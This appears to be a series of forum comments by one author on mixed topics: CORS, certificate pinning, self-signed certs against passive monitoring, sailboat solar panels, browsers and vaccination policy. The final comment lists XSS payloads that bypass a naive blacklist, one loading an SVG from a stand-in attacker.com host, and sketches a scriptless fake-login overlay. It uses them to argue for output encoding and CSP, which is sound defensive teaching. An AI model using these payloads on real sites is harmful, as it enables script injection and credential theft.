Preflight is only required for non-standard verbs or non-standard headers. If you're just requesting data (rather than trying to take some action on the server), preflight is not used.

Similarly, the highly-infectious diseases that the current generation of American parents grew up with - chicken pox, the flu, etc. - tend to have minor effects. Some people die of them every year, but the number is miniscule and most people show no sign of having ever been sick a week after the infection runs its course. Compare with things like Polio (used to kill people by paralyzing their chest so they couldn't breathe and suffocate where they lay, though more often it simply left you with misshapen and crippled limbs for life), Smallpox (scars covering your body even if you made an otherwise-full recovery), and so on. I'll bet a lot of the anti-vaccination crowd, whether they know it or not, think that even if they get infected it'll basically mean they have to stay home from school/work for a few days, maybe take some medicine. They don't ever think about things like being confined to iron lungs (not that we use those anymore, but hospitals used to have entire wards full of them)...

Slippery slope fallacy ahoy! Just because one decision is made for a sound and logical reason of communal good does *NOT* mean that other (unjustified) decisions will be made even if they are promoted on the basis of communal good. Each choice needs to be evaluated on its own merits. Just because some idiots or fraudsters will try to claim that something unwise should be "done for the greater good" doesn't mean doing things for the greater good is invalid as a reason to do things, and the reverse is also true.

Incidentally, did you know that the government is already empowered to arrest you for spreading infectious diseases. If you knowingly infect other people, or if there's an outbreak and you attempt to violate it, you can be prosecuted as a criminal.

Mind you, if you want to withdraw from society and go live in your own little 21st-century equivalent of a leper colony with all the other plague vectors, be my guest. You won't get many visitors - nobody can be 10% sure a vaccine will protect them, so we are all potentially dependent on herd immunity - but you are sure as hell not welcome to freeload on our herd immunity without a valid medical reason!

Your driver's license (or other ID card) seems like one option. If you get found with the "unvaccinated" sticker on your card (sort of like the "organ donor" sticker, but for people who want to endanger others rather than save them) in a public place and aren't masked or whatever, it's a fine. Or maybe you just get thrown out of the establishment. Have fun going to bars (or buying alcohol at a store), or doing much of anything else that requires ID.

This *sounds* awful - a government-mandated mark of belonging to an unpopular minority - but it's a self-selected minority that puts all the rest of us at risk. I see no reason that people intentionally acting as potential plague carriers should be able to hide among the general populace. Maybe if they had to show their true colors they could get through their thick skulls just how horrible what they're doing is...

Boosting the signal, for those who don't read ACs:

CORS (Cross-Origin Resource Sharing) is explicitly intended to support things like CDNs. It lets you make cross-domain XHRs (and access the responses), so the JavaScript-based decoder will work perfectly. It adds minimal additional bandwidth requirement over a standard cross-domain GET (one short extra header on request, a couple on response), is supported on all mainstream browsers, and is much more secure that stupid hacks like JSON-P (though that would work here too, if for some reason you wanted to live in last decade's terrible work-arounds for same-origin policy).

http://en.wikipedia.org/wiki/C...

I realize that this is Slashdot and we have a great tradition of not RTFA, but given that this is about an image format you could at least go LATFP (Look At The Fucking Pictures). It's also an impressive display of how well image deciding using JavaScript works (but then, this is the guy who wrote an entire x86 emulator capable of running Linux using JS, and even made it work on IE; I have no doubt as to the man's skill in that realm).

Link for image format and quality comparisons: http://xooyoozoo.github.io/yol...
Link for info about the image format and links to more comparisons: http://bellard.org/bpg/

Well, you can pre-pin a cert (Google does this with their own properties, for example, and as of Firefox 32, Firefox does it for Mozilla stuff and I think some Google stuff). You can also always manually check a certificate's fingerprint before you send any data over it. That leaves the question of what you check it against, of course, but that's the whole key distribution problem; at some level you have to have a trusted source of key identity.

I really do wish there was more support for TOFU (Trust On First Use) in browsers today, though. For example, I *can* explicitly trust a self-signed certificate for example.com. However, if I later get a different cert for example.com, my browser will simply evaluate it the way it would evaluate any cert (for example, if it's signed by a Chinese government-controlled CA, the browser will trust it unless I've removed trust for that CA). None of the major browsers will stop and say "Hey, that is *NOT* the cert I expect for this site!" the way SSH (or Remote Desktop, for that matter, which also uses TOFU) will. This greatly irks me. Certificates don't change that often, and most of the time it's just an update to the expiration date or adding a new subdomain or something else innocuous like that. Even a change to the public key isn't that big a concern, especially if the old key is revoked; people rotate keys sometimes as a matter of good practice. But a change to the CA, or a change to a pinned leaf node (where I basically said "this shouldn't change"), ought to raise warning flags.

Um... I hate to rain on your Mozilla parade here, but Chrome has full certificate pinning for Google properties, and has had it for quite a few versions now. Using any unexpected cert, no matter how trusted, for a Google property (or the handful of others that Chrome supports) will be detected and blocked. Mozilla has certificate pinning now as well, but only since version 32 (which is what, a month ago?). If the organization in question wanted to MitM Firefox's traffic as well as Chrome's, they would (until recently) have found it much easier to do on Firefox than on Chrome.

Sigh... I can't tell if you're arguing this because you don't understand the English language, of if you're just trolling.

If somebody has to "be presenting their own" certificate, then they are NOT PASSIVE!! A passive network attacker is, for example, somebody sitting at a coffee shop with the WiFi card in promiscuous mode, watching all the traffic that gets sent over that (open) network. In that position, the attacker cannot do a damn thing about a self-signed cert. Now, if they are able to use ARP spoofing or DNS hijacking or can configure the router's upstream host or something like that, then they can intercept traffic and present their own certificate, sure. That requires an *active* attack, though.

The reason that passive attacks are so concerning right now is that it's pretty trivial for ISPs and governments to record all network traffic that they want to. It just costs money for storage and storage bandwidth. However, they aren't actively intercepting that traffic, just passively recording it for later data mining. TLS, even using anonymous Diffie-Hellman or a self-signed certificate, is sufficient to completely defeat that kind of monitoring.

You're basically arguing that since an armored car can't tae a hit from the cannon of a main battle tank, there's no point in armoring them at all and it would be better for them to go unarmored so as not to lure people into a false sense of security. Turns out that's bullshit: the typical threat to people moving valuables is from small arms (which an armored car can shrug off just fine), and the typical threat to browser privacy is from pervasive passive monitoring, which self-signed certs defeat. Not that I would ever argue that it's better to have a self-signed cert than a CA-signed one, but it's not as *much* worse as you seem to think.

Besides, there's things you can do to make a self-signed cert even more secure. For example, you (the user) can add *just that cert* to your trust store. Now, if an attacker tries to substitute their *own* self-signed cert, your browser should object, or at least won't show the site as truly secured. For applications (including a few browsers) that support certificate pinning, this can also be used with self-signed certs in a trust-on-first-use basis (take a look at, for example, HTTP Public Key Pinning).

Konqueror is still pretty decent. These days it generally uses WebKit (which was built from Konqueror's KHTML engine originally). I like its interface and generally high utility.

Aside from being in the package repose for pretty much all desktop Linux and BSD variants, it's also available for Windows. Haven't checked for Mac, but it's probably available there too.

Assuming it's like my Yoga 2 Pro, which seems likely, you can toggle the default behavior of those keys from special-function mode to F-key mode (hold Fn to reverse that, of course). It's in the BIOS/UEFI setup, same place it has been on the last ~5 years (maybe longer?) of Lenovo hardware

Stupid and kludgey hack, but is it possible to solve this, at least to a degree, with Wine? Running either the Windows version of Flashplayer (in something like nspluginwrapper; I think I remember hearing about a way to do this though I never tried it) in a Linux browser, or running a full Windows browser (can Wine do that these days?) seems like it solves the problem. It introduces at least one problem, too, of course... but at least you *can* install updates instead of pinning to a version that will only get more outdated...

it's a near impossibility to site a solar panel on a sailboat that is entirely shade free for the entire length of the day

That's probably true of a reasonably-sized monohull, but Ocelot is a cat. Setup is 4x 120W Kyocera panels out over the dinghy davits (we have a lot of room back there and it doubles as a shade for the rear of the cockpit). You can read a bit more about them here (photos are outdated in general but we haven't modified the array since they were taken): http://svocelot.com/Ocelot/mod...

Having the panels so far aft and so high provided some protection from salt spray (enough that they don't need cleaning after any but the roughest passages, the kind where the whole boat needs a good rain rinse) and also kept them out of the line of most of our shadows. If the sun sets or rises directly in line with the panels and mast, then yes, we'll lose that panel, but this can often be remedied by running the boom out to one side (tied down with the jibe preventer) and letting the (relatively huge) sail protector swing the boat a few degrees away from pointing dead into the wind. By anywhere close to the hours when the sun is at full power, even our slightly-raked mast just isn't far enough back to shade the panels. (As a side note, it occurs to me that this may explain why the ramp up to full power took longer in the morning than evening; if the easterly winds meant the panels were occasionally shaded in the early morning, we'd only have 3/4 the nominal power production for that much insolation.)

As for angle, that definitely cost us some power - our panels are very much immobile, aside from changing the orientation of the entire boat - but I'm not actually sure how much. Even at 60 degrees off apex, which is pretty late in the day (assuming you're right under the sun's path, within +/- 60 degrees is 1/3 of the day, or 8 hours), you still get 50% of the insolation you would get at apex, atmospheric losses aside. That's certainly significant losses, and it drops off sharply after that, but the middle hours of the day are not severely affected.

By the way, nice site! I'll have to ask my folks if they ever ran into Animation coming up the Aus coast. Alternatively, do you know S/V Vamp? Good friends of ours. I'm sorry you posted as AC but I may ping you by email.

<img src="xss" onerror="alert('Nope!')" />
<iframe src="javascript:alert('That won't work.')"></iframe>
<object data="http://attacker.com/SvgCanContainScriptsAndCanUseTheParentObjectToAttackTheHostingPage.svg"></object>
<scri<scriptpt>alert("In fact, that kind of blacklisting is trivial to bypass.");</script>
<form action="javascript:alert('I once spent a month breaking a client's blacklist every time they updated it to block my last POC exploit, telling them all the while they had to use output encoding.');"><input type="submit" value="SPOILER" /></form>
<h1 onmouseover="alert('They eventually did, but oh man did they waste a lot of time trying variants on your suggestion first!')">REALLY BIG TEXT THAT YOUR MOUSE WILL GO OVER</h1>

People thinking like you do frequently leads to exactly this sort of problem, where something *supposedly* has XSS protection but in fact totally doesn't. With the possible exception of the nested script tags (if you're smart enough to run the filter repeatedly until no further hits occur, that'll be caught), every single one of these lines will execute arbitrary attacker-controlled JavaScript through the filter that you propose. I strongly recommend that you go read OWASP, especially the top 10, and in the meantime I hope you haven't written any in-production web applications...

Content Security Policy (as you link) is indeed a "better" solution, in the technical sense; it's fine-grained, supports reporting, doesn't require servers to generate the random "hard_to_guess_string" needed to unlock the block, and (possibly most important) doesn't introduce a new un-XML-like construct into HTML. On the other hand, it tends to be more complicated to use it in real-world web applications, and it's so broad that a lot of browsers have either no support for it or have serious bugs in their support (did you know SVG can contain scripts, and sometimes CSP rules aren't applied properly there?).

Sandboxed iframes are simpler and basically do what you're asking for, except that the content is loaded from an external source or by writing it into the framed document (if same-origin); no need to worry about an attacker terminating the sandbox with a </iframe> tag because the sandboxed content isn't inline with the iframe itself. On the other hand, given how few people actually use them (despite pretty good browser support), the problem may be more a matter of web devs being bad at security than of web devs not having good security tools. Of course, we knew that already...

With all that said, I feel compelled to point out that *just* blocking XSS isn't enough anyhow. Without using a single scripted behavior (just HTML and some simple CSS) I can do things like create a lightbox that contains an HTML form saying "Your login session has expired. To ensure the security of your account, please log in again." with a username/password box, all themed accordingly with the site I'm attacking. Of course, the form POSTs to a web server that I (the attacker) control, but you don't know that. There's many other types of things you can do with the same restrictions. It's not enough to block scripts and plugins, you also have to prevent the attacker from simply taking over the page with their own content by layering it on top of the Z-order.